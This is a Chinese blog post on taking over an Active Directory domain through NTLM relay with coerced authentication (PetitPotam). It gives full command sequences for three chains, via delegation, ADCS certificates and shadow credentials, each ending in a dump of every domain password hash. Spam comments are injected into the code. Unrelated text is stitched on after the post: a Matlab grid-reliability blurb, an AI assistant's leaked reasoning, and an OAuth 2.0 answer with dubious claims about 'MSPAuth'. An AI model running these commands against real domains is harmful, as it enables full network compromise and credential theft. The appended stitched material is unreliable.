AD 提权-NTLM 中继攻击(强制认证)

爱之则不觉其过,恶之则不知其善。

导航

  • 0 前言
  • 1 委派
  • 2 ADCS 证书申请
  • 3 影子凭证

0、前言

NTLM 中继攻击的流程主要分为三个步骤:触发认证、中继攻击、后利用。其中,

  • 触发认证又分为:主动强制认证、被动诱导认证;
  • 中继攻击又包括:委派、ADCS 证书申请、影子凭证
  • 后利用 则根据 中继攻击 的不同,利用的方式亦有所不同。

在这篇文章中,我们将主要探讨有关主动强制认证的几种中继攻击的利用方法,最终实现权限提升从而完全掌控整个域。

主动强制认证常见的几个漏洞是:PeitiPotam、PrinterBug、DFSCoerce、ShadowCoerce、PrivExchange、Coercer。其中 PeitiPotam 漏洞无需提供域账户便可被检测和利用,因此它也是本文主要被使用的一种强制认证方法。

被动诱导认证:UNC 路径、恶意文档(Word、PDF)、图标文件(desktop.ini、scf 文件)、系统命令。

1、委派

环境简介
  • 域名 - skylark.com
  • 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
  • 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
  • Kali - 192.168.56.20
  • 普通域用户 - user【非必须】
攻击条件
  • 主备域控就是常规的域环境即可,无其它额外要求。
攻击流程

在本例中,经检测发现备域控存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2013 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 LDAP 协议中继到主域控,进而在主域控中创建一个具有委派权限(资源约束委派)的机器账户。然后,利用这个机器账户申请域管理员 administrator 的服务票据。最后,通过这张服务票据成功转储了域中所有用户的哈希。具体操作流程如下:

注:在这个例子中,备域控的机器账户所拥有的权限可以在主域控上登录并执行一些操作。而如果换成普通域主机 Win10 的机器账户在主域控上登录并操作的话,应该是不能够成功的。

(1)NTLM 强制认证漏洞检测。

/* by yours.tools - online tools website : yours.tools/zh/calcheat.html */
nxc smb 192.168.56.51 -u user -p 'password@123' -d skylark.com -M coerce_plus

image

可以看到,PetitPotam 漏洞的检测无需提供域用户即可进行。此外,PetitPotam 漏洞的利用也不需要提供域用户。

(2)开启中继监听器。

/* by yours.tools - online tools website : yours.tools/zh/calcheat.html */
impacket-ntlmrelayx -t ldap://192.168.56.50 --remove-mic --delegate-access

image

注:由于 PetitPotam 这类强制认证的漏洞利用都是基于 SMB 协议发起的身份认证,而我们要使用的委派功能 --delegate-access 则必须是基于 LDAP 协议的中继才行。而 impacket-ntlmrelayx 中继利用直接由 SMB 转 LDAP 一定是不成功的,这时 impacket-ntlmrelayx 工具的 --remove-mic 选项便帮上了大忙,它利用某种漏洞提供了一种 SMB 转 LDAP 的绕过方法。当然,如果这个漏洞补丁被打上了的话,那 --remove-mic 选项也无济于事了。

通常情况下,相同协议之间的中继转发一般不会出现问题,只有不同协议之间的转发才容易出问题,例如 SMB 转 LDAP。当然也有例外,例如 SMB 转 HTTP 也不会有什么问题。

(3)执行 NTLM 强制认证利用工具。

python PetitPotam.py -u user -p password123 -d skylark.com 192.168.56.20 192.168.56.51

image

注:PetitPotam.py 是一个用于触发 Windows 系统上的认证强制 的漏洞利用脚本,它强制目标机器向攻击者发起 NTLM 身份验证请求(SMB),以进行中继攻击(NTLM relay)。

(4)从中继攻击中提取出新创建的具有委派权限(资源约束委派)的机器账户。

image

可以看到,中继攻击成功执行,并且顺利创建了新的域机器账户:NJCKANET$:hJs5by4D8xfT6KI

注:这个机器账户其实只是一个普通的账户,只不过在机器账户 DC2013 的 msDS-AllowedToDelegateTo 属性中指定了这个账户而已。因此,才使得这个机器账户具有了委派请求 cifs/dc2013.skylark.com 资源的权限。

(5)利用具有委派权限的机器账户请求域管理员用户的 ST 服务票据。

impacket-getST -spn cifs/dc2013.skylark.com 'skylark.com/NJCKANET$' -impersonate administrator -dc-ip 192.168.56.50

image

(6)发起票据传递攻击转储域用户的哈希。

export KRB5CCNAME=administrator@cifs_dc2013.skylark.com@SKYLARK.COM.ccache

impacket-secretsdump -k -no-pass administrator@dc2013.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.51

image

注意:使用 impacket-secretsdump 工具应用服务票据时,提供给工具的参数尽量和使用 impacket-getST 工具申请票据时提供的参数差异不要太大,尤其是 SPN 字串中涉及的主机名称。

2、ADCS 证书申请

环境简介
  • 域名 - skylark.com
  • 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
  • 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
  • Kali - 192.168.56.20
  • 普通域用户 - user
攻击条件
  • 主备域控必需要有一个安装 证书颁发机构证书颁发机构 Web 注册 服务。

注意:(1)在安装证书颁发机构 Web 注册服务之前,请先安装 IIS 服务。(2)验证 Web 申请证书服务是否可用,请检查网址 http://192.168.56.50/certsrv/certrqxt.asp 是否可以正常访问。若弹出登录框,可用任意域用户的账户进行登录。

攻击流程

在本例中,经检测备域控发现存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2013 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 HTTP 协议中继到主域控的 Web 证书注册服务,进而我们便获得了关于机器账户 DC2013 的 kerberos 证书。然后,利用这个证书申请到了机器账户 DC2013 的 TGT 票据。最后,通过这张 TGT 票据转储了域中所有用户的哈希。具体操作流程如下:

(1)NTLM 强制认证漏洞检测及证书 Web 注册服务检测。

nxc smb 192.168.56.51 -u user -p password123 -d skylark.com -M coerce_plus

image

image

可以看到,主备域控存在 PetitPotam 漏洞,且主域控还提供了 web 申请证书服务。

(2)开启中继监听器。

impacket-ntlmrelayx -t http://192.168.56.50/certsrv/certrqxt.asp --adcs --template 'DomainController'

image

(3)执行 NTLM 强制认证利用工具。

python PetitPotam.py 192.168.56.20 192.168.56.51

image

(4)获得机器账户 DC2013 的 kerberos 认证证书。

image

可以看到,中继转发成功,我们成功申请到了机器账户 DC2013 的 kerberos 认证证书。

(5)发起 kerberos 证书认证并请求到 TGT 票据

certipy-ad auth -pfx 'DC2013$.pfx' -ns 192.168.56.50

image

注:Certipy-AD 是一个用于 Active Directory 证书服务(AD CS)攻击与枚举 的强大工具,尤其在执行 AD 证书相关攻击(如 ESC1~ESC8)时非常常用。

(6)通过票据传递攻击转储域用户的哈希。

export KRB5CCNAME=dc2013.ccache

impacket-secretsdump -k -no-pass 'dc2013$@dc2012.skylark.com' -dc-ip 192.168.56.50 -target-ip 192.168.56.50

#或 impacket-secretsdump 'skylark.com/dc2013$'@192.168.56.50 -hashes aad3b435b51404eeaad3b435b51404ee:3a22ea39aa8ab8752381e686a4201661

image

3、影子凭证

环境简介
  • 域名 - skylark.com
  • 主域控 - DC2016 - Windows 2016 Standard - 192.168.56.52
  • 备域控 - DC2017 - Windows 2016 Standard - 192.168.56.53
  • Kali - 192.168.56.20
攻击条件
  • 域控的操作系统必须是 Windows 2016+,因为 msDS-KeyCredentialLink 属性自 Windows 2016 才初次引进。
  • 主备域控必须要有一个安装了 ADCS 服务,因为只有安装了 ADCS 服务,域控才支持 kerberos 证书认证。【注:在此例中,只有主域控安装了 ADCS 服务,备域控没有安装,因此我们中继的目标便只能是主域控。】
攻击流程

在本例中,经检测发现备域控存在 PetitPotam 漏洞。为此,我们可以利用该漏洞,强制让备域控以机器账户 DC2017 的身份向 kali 机器发起 SMB 认证。接着,让 kali 将该机器账户的认证信息通过 LDAP 协议中继到主域控,进而在主域控中为机器账户 DC2017 新增一个 msDS-KeyCredentialLink 属性并为其生成和设置有关证书认证相关的数字证书信息。然后,利用这个机器账户向域控发起 kerberos 证书认证,从而申请到 DC2017 的 TGT 票据。最后,就可以通过这张服务票据请求到 DC2017 机器账户的哈希,从而就可以通过哈希传递转储域中所有用户的哈希了。具体操作流程如下:

(1)NTLM 强制认证漏洞检测及 ADCS 服务检测。

nxc smb 192.168.56.52-53 -M coerce_plus

image

openssl s_client  192.168.56.52:636

image

可以看到,主备域控均存在 PetitPotam 漏洞。同时,主域控还安装了证书颁发服务。

(2)开启中继监听器。

impacket-ntlmrelayx -t ldap://192.168.56.52 --shadow-credentials --remove-mic

image

(3)执行 NTLM 强制认证利用工具。

python PetitPotam.py 192.168.56.20 192.168.56.53

image

(4)获得机器账户 DC2017 的 kerberos 认证证书。

image

可以看到,impacket-ntlmrelayx 不仅为我们申请到了 pfx 证书,同时还提供了利用证书获取 TGT 票据的命令。不过需要注意的是,这条命令不能拿来直接就使用,还需要为其提供 DC2016 的 ip 才行,不然 kali 无法凭域名解析目标机器的具体 IP 地址。【注:要想命令不做修改直接拿来就使用的话,则需要在 kali 的 hosts 文件中添加 test.com 192.168.56.52 映射记录才行。】

(5)发起 kerberos 证书认证请求 TGT 票据。

python3 PKINITtools-master/gettgtpkinit.py -cert-pfx 7Gpc0pVZ.pfx -pfx-pass GThhfSnb30mwB2puuCEc -dc-ip 192.168.56.52 'test.com/DC2017$' 7Gpc0pVZ.ccache

image

可以看到,TGT 票据被成功请求,同时它还提供了有关机器账户 DC2017 的一个字串信息。

PKINITtools 是专门用于 Kerberos PKINIT 滥用(证书登录)和 Shadow Credentials 攻击链的工具集,在 Active Directory 渗透中非常关键。

(6)根据票据和一个字串获取机器账户的哈希

export KRB5CCNAME=7Gpc0pVZ.ccache

python3 PKINITtools-master/getnthash.py -key 757eebb398a8cc7778fdfad0bc5aa84fd758771852f106a96cbdd2a4c59eb70b 'test.com/DC2017$' -dc-ip 192.168.56.52

image

可以看到,机器账户的哈希被成功获取。

(7)通过哈希传递攻击转储所有域用户的哈希。

impacket-secretsdump 'test.com/DC2017$'@192.168.56.52 -hashes :76f2514c34440438c4346baf30ae2ad3

image

基于可靠性评估序贯蒙特卡洛模拟法的配电网可靠性评估研究(Matlab代码实现)内容概要:本文围绕“基于可靠性评估序贯蒙特卡洛模拟法的配电网可靠性评估研究”,介绍了利用Matlab代码实现配电网可靠性的仿真分析方法。重点采用序贯蒙特卡洛模拟法对配电网进行长时间段的状态抽样与统计,通过模拟系统元件的故障与修复过程,评估配电网的关键可靠性指标,如系统停电频率、停电持续时间、负荷点可靠性等。该方法能够有效处理复杂网络结构与设备时序特性,升评估精度,适用于含分布式电源、电动汽车等新型负荷接入的现代配电网。文中供了完整的Matlab实现代码与案例分析,便于复现和扩展应用。; 适合人群:具备电力系统基础知识和Matlab编程能力的高校研究生、科研人员及电力行业技术人员,尤其适合从事配电网规划、运行与可靠性分析相关工作的人员; 使用场景及目标:①掌握序贯蒙特卡洛模拟法在电力系统可靠性评估中的基本原理与实现流程;②学习如何通过Matlab构建配电网仿真模型并进行状态转移模拟;③应用于含新能源接入的复杂配电网可靠性定量评估与优化设计; 阅读建议:建议结合文中供的Matlab代码逐段调试运行,理解状态抽样、故障判断、修复逻辑及指标统计的具体实现方式,同时可扩展至不同网络结构或加入更多不确定性因素进行深化研究。
<think>嗯,用户这次聚焦在微软OAuth2.0认证流程的具体实现上,显然是因为之前讨论MSPAuth淘汰问题时引出了替代方案的需求。从用户引用站内材料时特别到EDI系统报错案例来看,ta应该是个企业系统集成人员,正面临微软邮箱认证升级的实际问题。用户引用的四段材料里,[1]和[3]特别值得注意。[1]到API网关作资源服务器的架构,[3]直接反映企业邮箱连接失败现象,说明用户需要的是可落地的生产环境解决方案,而不仅是理论流程。不过引用[2]的微信API和[4]的通用OAuth说明可能有些偏离重点,需要帮ta聚焦到微软生态。上次我详细解析过MSPAuth的技术细节,用户现在明显在寻求升级路径。需要特别注意三点:一是强调AzureAD的核心作用,二是区分客户端凭证流与授码流的适用场景,三是给出具体密钥配置的位置(比如门户里的证书与密码管理在哪找)。对于实现步骤的四个层级,用户作为技术人员应该能理解,但演示时要用ta熟悉的工具链。Python示例选requests库最稳妥,但根据引用[1]到的网关架构,在第四步特意加了资源服务器处理要点——这对企业级部署至关重要。测试环节特别醒错误码S7000162,这是实战经验。微软文档很少,但实际集成中经常遇到ISS错误,需要帮用户避开这个坑。安全建议里TLS和范围验证都是必选项,特别是邮箱场景的SMTP.Access限范围要写全,否则出现报错用户会懵。最后的相关问题设计成阶梯状:从基础注册->网关实现->企业邮箱配置->密钥轮转,这样用户后续无论继续开发还是运维都能覆盖。企业应用清单配置那个问题特别实用,很多开发者卡在不知道去哪配重定向URL。整个回复要避免像教材那样讲OAuth理论,紧扣“微软+实现”这个焦点。证书指纹验证那段代码可能有点硬核,但值得放——真实项目里太多人栽在证书验证上了。</think> 以下是微软OAuth 2.0认证流程的实现方法(替代MSPAuth的推荐方案),分为核心流程与实施步骤: --- ### **微软OAuth 2.0认证核心流程** ```mermaid sequenceDiagram participant Client participant Azure AD participant Resource Client->>Azure AD: 1. 请求授 (重定向到登录页) Azure AD-->>Client: 2. 返回授(Authorization Code) Client->>Azure AD: 3. 用授码换取令牌 (client_id + client_secret + code) Azure AD-->>Client: 4. 返回访问令牌(Access Token) Client->>Resource: 5. 携带令牌访问资源 (如Exchange Online) Resource-->>Client: 6. 返回请求数据 ``` --- ### **具体实现步骤** #### **1. 注册Azure AD应用** - 进入 **[Azure门户](https://portal.azure.com)** > **Azure Active Directory** > **应用注册** - 配置关键参数: - **重定向URI**: `https://your-app/callback` - **API限**: 添加 `Microsoft Graph` 或 `Office 365 Exchange Online` 所需- **证书与密码**: 生成客户端密钥(`client_secret`) #### **2. 构造授请求URL** ```python import requests auth_url = ( "https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/authorize?" "client_id={client_id}&" "response_type=code&" "redirect_uri={redirect_uri}&" "scope=openid%20email%20profile%20offline_access%20https://outlook.office.com/IMAP.AccessAsUser.All" ) # 重定向用户到此URL进行登录 ``` #### **3. 获取访问令牌** ```python token_url = "https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" payload = { "client_id": client_id, "client_secret": client_secret, "code": authorization_code, # 上一步回调获取 "grant_type": "authorization_code", "redirect_uri": redirect_uri } response = requests.post(token_url, data=payload) access_token = response.json()["access_token"] # 有效期通常60-90分钟 refresh_token = response.json()["refresh_token"] # 用于刷新令牌 ``` #### **4. 访问资源服务器** ```python # 以连接Exchange Online邮箱为例 import imaplib imap = imaplib.IMAP4_SSL("outlook.office365.com") imap.authenticate("XOAUTH2", lambda x: f"user=user@domain.com\1auth=Bearer {access_token}\1\1") # 后续正常操作邮箱 ``` --- ### **企业邮箱集成注意事项** 1. **限范围(Scopes)**: - **IMAP/SMTP**: `https://outlook.office.com/IMAP.AccessAsUser.All`, `https://outlook.office.com/SMTP.Send` - **Exchange API**: `https://graph.microsoft.com/Mail.Read` 2. **安全配置**: - 强制HTTPS传输 - 令牌存储使用加密存储(如Azure Key Vault) - 启用条件访问策略(如多因素认证) 3. **令牌刷新机制**: ```python refresh_payload = { "client_id": client_id, "client_secret": client_secret, "refresh_token": refresh_token, "grant_type": "refresh_token" } new_tokens = requests.post(token_url, data=refresh_payload) # 获取新access_token ``` --- ### **调试建议** - **日志检查**: 在Azure AD门户查看登录审计日志 - **错误码处理**: - `AADSTS700016`: 应用未在租户中注册 → 检查租户ID - `AADSTS50076`: 需要MFA验证 → 配置条件访问策略[^3] > ⚠️ 迁移示:旧版应用需关闭基础认证(Basic Auth) > ```powershell > Set-OrganizationConfig -OAuth2ClientProfileEnabled $true > ``` --- ### **与MSPAuth的兼容切换** | 特性 | MSPAuth | OAuth 2.0 | |---------------|------------------------|-------------------------| | 协议类型 | 基于密码哈希的挑战响应 | 基于令牌的委托认证 | | 安全性 | 易受NTLM中继攻击 | TLS加密+短期令牌 | | 维护状态 | 微软已弃用 | 官方推荐标准 | | 适用场景 | 传统邮件客户端 | 现代应用/API集成 | ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值